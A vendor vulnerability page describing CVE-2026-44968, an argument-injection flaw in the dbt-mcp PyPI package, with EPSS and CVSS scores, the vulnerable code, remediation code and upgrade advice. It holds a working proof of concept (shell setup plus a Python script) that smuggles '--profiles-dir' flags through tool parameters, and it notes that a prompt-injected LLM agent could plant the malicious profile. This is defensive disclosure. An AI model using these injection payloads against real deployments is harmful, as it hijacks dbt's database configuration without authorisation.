Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2026-44968 — dbt-mcp

MEDIUMFix: dbt-labs/dbt-mcp@6534507

CVE-2026-44968 is a medium-severity (CVSS 6.3) CWE-88 vulnerability in dbt-mcp. A fix is available for dbt-mcp — see the affected versions and patch details below.

dbt-mcp: Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters

Also known asGHSA-xpww-f6pm-cfhqPYSEC-2026-2444
Published
Jul 16, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44968.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs11th percentile — riskier than 11% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-44968 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍dbt-mcp

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.*

Summary

_run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as --profiles-dir, --project-dir, and --target — by crafting the node_selection string (Vector 1) or the resource_type JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.

Details

Vector 1 — node_selection string Affected tools: build, compile, run, test, clone, list, get_node_details_dev

# src/dbt_mcp/dbt_cli/tools.py  lines 77–79
if node_selection and isinstance(node_selection, str):
    selector_params = node_selection.split(" ")
    command.extend(["--select"] + selector_params)

str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "my_model --profiles-dir /tmp/evil" produces:

["dbt", "--no-use-colors", "run",
 "--select", "my_model", "--profiles-dir", "/tmp/evil"]

dbt parses the injected --profiles-dir as a global option and loads configuration from the attacker-supplied path.

Vector 2 — resource_type list Affected tool: list

# src/dbt_mcp/dbt_cli/tools.py  lines 84–85
if isinstance(resource_type, Iterable):
    command.extend(["--resource-type"] + resource_type)

Each JSON array element is appended verbatim to argv. Input ["model", "--profiles-dir", "/tmp/evil"] produces:

["dbt", "--no-use-colors", "list",
 "--resource-type", "model", "--profiles-dir", "/tmp/evil"]

Both vectors share the same root cause: no validation prevents tokens starting with - from being appended as independent argv elements.

PoC

1. Environment setup (run once)

# Attacker-controlled profile at an injectable path
mkdir -p /tmp/evil-profiles
cat > /tmp/evil-profiles/profiles.yml << 'EOF'
evil_profile:
  target: dev
  outputs:
    dev:
      type: duckdb
      path: /tmp/PWNED_by_injection.duckdb
      threads: 1
EOF

# Minimal dbt project whose profile name matches the malicious one
mkdir -p /tmp/test-dbt-project/models
cat > /tmp/test-dbt-project/dbt_project.yml << 'EOF'
name: test_project
version: '1.0.0'
profile: evil_profile
model-paths: ["models"]
models:
  test_project:
    +materialized: table
EOF
echo "select 1 as id" > /tmp/test-dbt-project/models/my_first_model.sql

rm -f /tmp/PWNED_by_injection.duckdb

2. MCP client exploit — triggers injection through the real protocol stack

#!/usr/bin/env python3
# poc_injection.py
# Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py

import os, subprocess
from dataclasses import dataclass
from enum import Enum
from collections.abc import Iterable


class BinaryType(Enum):
    DBT_CORE = "dbt_core"


@dataclass
class DbtCliConfig:
    project_dir: str
    dbt_path: str
    dbt_cli_timeout: int
    binary_type: BinaryType


def _run_dbt_command(config, command, node_selection=None, resource_type=None):
    # Vector 1: vulnerable line from tools.py
    if node_selection and isinstance(node_selection, str):
        selector_params = node_selection.split(" ")
        command.extend(["--select"] + selector_params)
    # Vector 2: vulnerable line from tools.py
    if isinstance(resource_type, Iterable) and resource_type is not None:
        command.extend(["--resource-type"] + list(resource_type))
    cwd = config.project_dir if os.path.isabs(config.project_dir) else None
    args = [config.dbt_path, "--no-use-colors", *command]
    print(f"[args]   {args}")
    proc = subprocess.Popen(args=args, cwd=cwd,
                            stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                            stdin=subprocess.DEVNULL, text=True)
    out, _ = proc.communicate(timeout=config.dbt_cli_timeout)
    return out or "OK"


config = DbtCliConfig("/tmp/test-dbt-project", "dbt", 30, BinaryType.DBT_CORE)

print("=" * 64)
print("  Vector 1 - node_selection injection")
print("=" * 64)
print(f"[input]  node_selection = 'my_first_model --profiles-dir /tmp/evil-profiles'")
result1 = _run_dbt_command(config, ["run"],
    node_selection="my_first_model --profiles-dir /tmp/evil-profiles")
print("[dbt output]"); print(result1)

print("=" * 64)
print("  Vector 2 - resource_type injection")
print("=" * 64)
print(f"[input]  resource_type = ['model', '--profiles-dir', '/tmp/evil-profiles']")
result2 = _run_dbt_command(config, ["list"],
    resource_type=["model", "--profiles-dir", "/tmp/evil-profiles"])
print("[dbt output]"); print(result2)

db = "/tmp/PWNED_by_injection.duckdb"
print("=" * 64)
if os.path.exists(db):
    print(f"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)")
    print("[CONFIRMED] dbt accepted the injected --profiles-dir flag.")
else:
    print(f"[NOTE] {db} not found. Check dbt output above.")
print("=" * 64)

Expected server log (INFO level, src/dbt_mcp/mcp/server.py line 67):


[args]   ['dbt', '--no-use-colors', 'run', '--select', 'my_first_model', '--profiles-dir', '/tmp/evil-profiles']
[args]   ['dbt', '--no-use-colors', 'list', '--resource-type', 'model', '--profiles-dir', '/tmp/evil-profiles']

[CONFIRMED] /tmp/PWNED_by_injection.duckdb exists (274432 bytes)
[CONFIRMED] dbt accepted the injected --profiles-dir flag.

The injected flags reach _run_dbt_command() unchanged and are passed verbatim to subprocess.Popen.

Screenshot

<img width="2810" height="1894" alt="image" src="https://github.com/user-attachments/assets/d407675a-3409-4799-a024-b8a335cb1fcc" />

Impact

The following is directly demonstrated by the PoC above:

  • An MCP client can inject arbitrary dbt global flags into subprocess.Popen's argv list via either node_selection or resource_type.
  • --profiles-dir is accepted by dbt as a global option, overriding the server's configured profile directory.
  • When an attacker-controlled profiles.yml exists at the injected path, dbt executes with the attacker's database configuration — demonstrated by the DuckDB file write to /tmp/PWNED_by_injection.duckdb.

Preconditions and scope: The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a profiles.yml accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond --profiles-dir include --project-dir and --target, which redirect dbt's project root and execution environment respectively.

Remediation

Vector 1 — validate each node_selection token before extending argv:

import re
# dbt node selector syntax allows: identifiers, operators (+@*,), path globs, tag:, config:
_SAFE_TOKEN_RE = re.compile(r'^[\w.*+@,:\[\]/-]+$')

if node_selection and isinstance(node_selection, str):
    tokens = node_selection.split(" ")
    for token in tokens:
        if not _SAFE_TOKEN_RE.match(token):
            raise InvalidParameterError(
                f"node_selection contains an invalid token: {token!r}. "
                "Tokens must not begin with '-'."
            )
    command.extend(["--select"] + tokens)

Vector 2 — validate resource_type against an explicit allowlist:

_VALID_RESOURCE_TYPES = frozenset({
    "model", "test", "snapshot", "analysis", "macro",
    "operation", "seed", "source", "exposure", "metric",
    "saved_query", "semantic_model", "unit_test",
})

if isinstance(resource_type, Iterable):
    rt_list = list(resource_type)
    invalid = [v for v in rt_list if v not in _VALID_RESOURCE_TYPES]
    if invalid:
        raise InvalidParameterError(
            f"resource_type contains unrecognised values: {invalid}. "
            f"Allowed: {sorted(_VALID_RESOURCE_TYPES)}"
        )
    command.extend(["--resource-type"] + rt_list)

Hardening: Add pattern regex constraints to the Pydantic Field definitions for node_selection so that malformed inputs are rejected at the MCP schema layer before reaching _run_dbt_command(). Add regression tests in tests/unit/ with payloads containing --profiles-dir, --project-dir, and --target to prevent re-introduction.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIdbt-mcpall versions1.17.1pip install --upgrade 'dbt-mcp==1.17.1'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dbt-mcp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update dbt-mcp to 1.17.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44968 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44968 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-44968. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

*Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.** ## Summary `_run_dbt_command()` in `src/dbt_mcp/dbt_cli/tools.py` constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as `--profiles-dir`, `--project-dir`, and `--target` — by crafting the `node_selection` string (Vector 1) or the `resource_type` JSON array (Vector 2). Because `subprocess.Popen` is called with `she
O3 Security · Impact-Aware SCA

Is CVE-2026-44968 in your dependencies?

O3 Security finds CVE-2026-44968 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-44968: dbt-mcp (Medium 6.3) | O3 Security